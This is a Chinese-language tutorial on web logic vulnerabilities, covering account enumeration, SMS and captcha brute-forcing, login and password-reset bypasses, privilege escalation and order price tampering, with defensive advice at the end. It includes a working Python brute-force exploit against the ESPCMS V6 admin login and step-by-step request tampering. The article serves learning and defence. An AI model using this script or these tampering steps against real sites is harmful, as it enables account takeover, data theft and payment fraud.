Web逻辑漏洞挖掘与防护

一、前言

随着企业和网民的安全意识的提高,Web安全已经成为了一个重点关注的方向。各种防护手段(使用安全的开发框架、入侵检测系统、安全防护软件等)使用使网站的常规Web漏洞的数量越来越少。以SQL注入为例,几年前随便找一些动态网站,基本上就能找到存在SQL注入的站点,因为其危害巨大,各种防护手段也是层出不穷。到现在为止很多Web开发框架从底层就直接杜绝了SQL注入的问题,比如使用预编译的手法执行SQL语句。同理,XSS、命令执行和CSRF等都是同样的趋势,对于安全的发展这是一件好事。但是我们所说的“逻辑漏洞”却一直没有衰退,甚至以后可能会成为Web漏洞的主战场,因为代码逻辑是人的思维逻辑,找到关键点后往往不用构造恶意的请求即可完成攻击,很容易绕开防护手段。这里说几个常见的逻辑漏洞,并提供一些示例以供学习参考。

注:以下漏洞示例以由相关厂商修复,切勿非法测试!

注:本文已首发合天!

二、漏洞挖掘

0x00:注册

注册中最常见的有两个,一个是恶意注册,另一个是账户遍历。一个好的注册界面应该是这样

或者这样的

而不是这样的

要么使用短信或邮箱进行验证,要么存在难以识别的验证码,使得注册的请求无法批量提交。那么账户遍历是什么意思呢?在注册的时候Web程序往往会有用户名或手机号(或其他什么)检测之类的步骤,以避免相同账号注册两次,比如一般会提示“***用户名已存在!”。我们就可以利用这个步骤去批量尝试一些用户名,如果提示已存在就说明存在这个用户,然后就可以用这个用户名进行下一步操作,比如登录爆破(直接爆破的话可能会提示“用户名或密码错误”,用已知用户名爆破就只需要关心密码问题了)和密码找回。

0x01:登录

登录里比较简单的一种的情况就是登录界面不存在验证码可以直接爆破,第二种就是存在验证码但可被绕过,第三种是第三方账户登录可被绕过,这里重点说第二和第三种的问题。

1、短信验证码

这种情况一般指4位数字验证码,且不限制错误次数。比如以某APP为例,短信登录界面如下

获取验证码后随意填写,抓包

然后在intruder里爆破

再用获得的验证码登录即可。

2、图形验证码

以ESPCMS V6的一个漏洞为例,在会员和后台登陆的地方对验证码识别的方式是可以绕过的,在文件/upload/interface/member.php 500行左右的位置是后台登陆检验验证码的地方:

看一下他检测验证码的方式,将输入的验证码与cookie中的值比较,这意味着什么?只要我们不改变cookie中的值以及输入的验证码的值,那么就可以绕过验证码识别。也就是说验证码是和cookie绑定的,如图所示只要刷新一下改变验证码下面的这条cookie就跟着变化。只要不改变这两个值就能使用一个验证码持续登陆,这样就能爆破了。

如果爆破的话还要解决另外一个问题,每个登陆界面只能请求一次,因为还有一个隐藏的token参数

这样的话就要每尝试一次动态获取这个token值,其中token中的值是和返回的PHPSESSID绑定的,所以这里同步获取PHPSESSID和token然后进行爆破。例如在burp中只需要更新post数据中tokenkey的值即可再次发包,但是并不会触发验证码错误。

漏洞利用程序如下

#-*-coding:utf-8
#Blog:http://www.xmanblog.net/

import requests
import re

url = "http://192.168.219.129/code_check/ESPCMS/upload/adminsoft/index.php"

def get_token():
    r = requests.get(url+"?archive=adminuser&action=login")
    m = re.search(r"(?<=tokenkey\" value=\").*(?=\">)",r.text)
    temp = r.headers["Set-Cookie"].split(";")[2].split(",")[1][1:]
    return (m.group(0),temp)

def hack(username,password,token,session):
    payload = {"archive":"adminuser","action":"login_into"
               ,"tokenkey":token,"username":username
               ,"password":password,"seccode":"kcpr","button":"%E7%99%BB%E9%99%86%E7%AE%A1%E7%90%86%E5%B9%B3%E5%8F%B0"}
    headers = {"Cookie":session+";ecisp_seccode=vZUiwvSWNOzwBnPd3vaMP17A1zfkEDKxAhKxdcB8aJY=;notice_5=1\
               ecisp_home_seccode=V%2B%2FQP6dLJHsUJJ0z6u2gDiH1Y9fv5N9uuE7FrjE6SZ4%3D;\
               cookiecheckrld39fc5a10d7ffc5b0f63c61c3d0b5e53=1459320237",
               "Referer":url+"?archive=adminuser&action=login",
               "User-Agent":"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0"}
    r = requests.post(url,headers=headers,data=payload)
    print "try:....",username,password,
    if "360" in r.text:
        print "     success"
    print "\n"
        #return (username,password)

def main():
    u = open("1.txt").readlines() #读取用户名
    p = open("2.txt").readlines() #读取密码
    for i in u:
        for j in p:
            temp = get_token()
            hack(i.strip("\n"),j.strip("\n"),temp[0],temp[1])

if __name__=="__main__":
    main()

测试效果

3、第三方账户登录绕过

现在很多网站或APP都支持第三方账号登录,比如微信、微博,这些登录本身接口一般没什么问题,但是在使用的时候可能会出现逻辑错误,以知乎曾经爆出的一个漏洞为例,打开知乎客户端,用一个微博小号登录,拦截微博授权成功的请求地址:

https://api.weibo.com/oauth2/sso_authorize?sflag=1

修改Response Body,将uid改成要登录的uid:

然后即可登录

知乎服务器端在拿到客户端提交的授权成功以后,还应该调用第3方平台的token校验,以微博为例子,应该再调用一次:https://api.weibo.com/2/account/get_uid.json,看拿到的uid是否和客户端提交的uid一致。另外登录位置也存在账号遍历的情况,比如有的登录逻辑是先判断是否存在这个用户名然后给予提示“用户名不存在”或不提示。

0x02:密码找回

密码找回的利用姿势比较多,还是先说验证码的问题。除了上节所说的4位验证码的可爆破的问题,还有验证码泄露、认证绕过、越权等问题。

1、验证码泄露

仍然以某APP为例

输入验证码、要找回的账号和手机号,点击“获取验证码”,同时拦截抓包,然后就可以在返回包中看到要认证的验证码,这样不用得到用户的手机,也能得到他的验证码

再输入密码即可找回。

2、验证码的认证绕过

以某网站为例,在密码找回界面,输入用户名和密码,点击获取验证码

验证码随便输,然后点击下一步,拦截返回包,

将status改为0,然后就可以进入密码修改界面

另外也存在替换手机号的情况,及将验证码发送到你替换的手机上,而找回的密码还是原来的账号。

3、邮箱弱token

有时候密码找回是通过邮箱链接来实现的,链接里一般会有一个与账号绑定的具有唯一性的认证参数,若这个参数能够被猜解就会产生问题,以一个奇虎360出现过的一个漏洞为例,先正常流程取回一次密码,查看邮箱,邮件内容类似:

猜测一下此处的流程,用户取回密码时,产生一个精确的时间戳,与帐号绑定,记录在某个密码重置库内,那么修改这个用户密码必须得知道这个时间戳才可以,看似合理,但程序员忽略了一个细节,就是假如这个时间戳是新生成得,在一定时间段内进行暴力猜解,很快就可以获取到这个有效得链接!以某账号为例,输入其邮箱找回密码,然后同时爆破找回密码的链接,点击访问

用修改的密码即可登录

4、越权修改

越权修改是指在密码找回的过程中将正在找回密码的账号替换为指定的账号并修改密码,以某邮箱系统的一个漏洞为例,使用手机找回的方法来验证

设置密码

提交的时候抓包,将userName改为想要修改的账户

在下一次的请求中再修改一次

然后使用修改的密码即可登录

0x03:越权

越权一般包括水平越权和垂直越权。

1、水平越权

水平越权:就是相同级别(权限)的用户或者同一角色不同的用户之间,可以越权访问、修改或者删除的非法操作。如果出现次漏洞,那么将可能会造成大批量数据泄露,严重的甚至会造成用户信息被恶意篡改。以某APP为例,在点击账户信息按钮时会返回当前账户的基本信息,如下是请求的数据包

返回的包为

如果直接修改Id,改为0001001238,那么注意看返回包

这里就是没有任何的身份认证,仅根据Id返回相应的数据,导致可以水平越权,查看他人的账户信息。再看另一个例子,以某网站为例,登录进入个人主页界面

在Firefox中修改uid的值即可进入他人账号

2、垂直越权

垂直越权:是不同级别之间或不同角色之间的越权;垂直越权又别分为向上越权与向下越权。比如,某些网站,像发布文章、删除文章等操作属于管理员该做的事情。假设一个匿名用户也可以做相同的事情,这就叫做向上越权;向下越权是一个高级用户可以访问低级用户信息(这也是不行的,这回暴漏用户的隐私)。以ZDSoft网站生成系统越权漏洞为例,比较老的一个洞,网站后台登录地址一般为:http://www.***.cn/admin/login.aspx

后台菜单地址为:

http://www.***.cn/admin/left.aspx

如果没有登录直接访问菜单地址js跳转到登录地址,但是禁用了浏览器js后就可以直接访问而不会跳转,比如访问用户管理界面

再以某APP为例,APP有两种登录模式,用户(指定人员)登录和游客登录。对于游客来说很多功能不能访问,只能看到如下功能

指定用户登录,可以使用所有功能

但是APP只是做了前端限制,以游客权限直接发送用户权限的数据包即可使用相关的功能,比如以游客的登录凭据访问用户才可使用的“**查询”功能。

3、两种越权的区别

水平越权的问题出现在同一个角色上,系统只验证了能访问数据的角色,而没有对角色内的用户做细分,也没有对数据的子集做细分,因为缺乏一个用户到数据之间的对应关系。由于水平权限管理是系统缺乏一个数据级的访问控制所造成的,因此水平权限管理又可称之为“基于数据的访问控制”;垂直权限问题出现在不同角色上,一般来说高权限角色可以访问低权限角色的资源,而低权限角色访问高权限角色的资源则被禁止。如果一个本属于低权限角色的用户通过一些方法能够过得低权限角色的能力,则发生了垂直越权漏洞。

0x04:交易

这里的情况一般就是订单可被恶意修改,比如修改购买数量和单价以形成超低价的总额,以中国移动出现过的一个漏洞为例,中国移动和健康体检通,可通过修改订单价格实现免费体检,首先选择套餐

然后抓包修改数据

然后即可支付

另外一个套餐

付款成功

可以看到套餐已订购

三、防御

0x00:验证码策略

1、验证码至少是6位数字,且有时间限制、获取次数限制和错误次数限制。

2、验证码的验证要放到服务端执行,不能将验证码返回到前端。

3、若只能放到前端,必须采取加密策略。

4、多步校验,比如找回密码第一步验证了,最后一步提交时也要验证。

0x01:权限策略

1、登录凭证要时刻验证,不能只在登录接口处进行登录验证,要任何需要登录权限的地方进行登录验证(cookie,ssid,token等)。

2、用户操作要进行对应的权限检查,不能只根据操作参数或链接执行功能。

3、Cookie要进行严格加密,并与用户session绑定。

4、采用“最小权限原则”进行访问控制。

0x02:密匙签名策略

1、邮箱找回密码的功能,其认证参数要唯一且不可预测,尽量减少不必要的参数。

2、支付功能一定要使用严格的签名算法,避免任何参数的修改。

 

发表评论

电子邮件地址不会被公开。 必填项已用*标注

*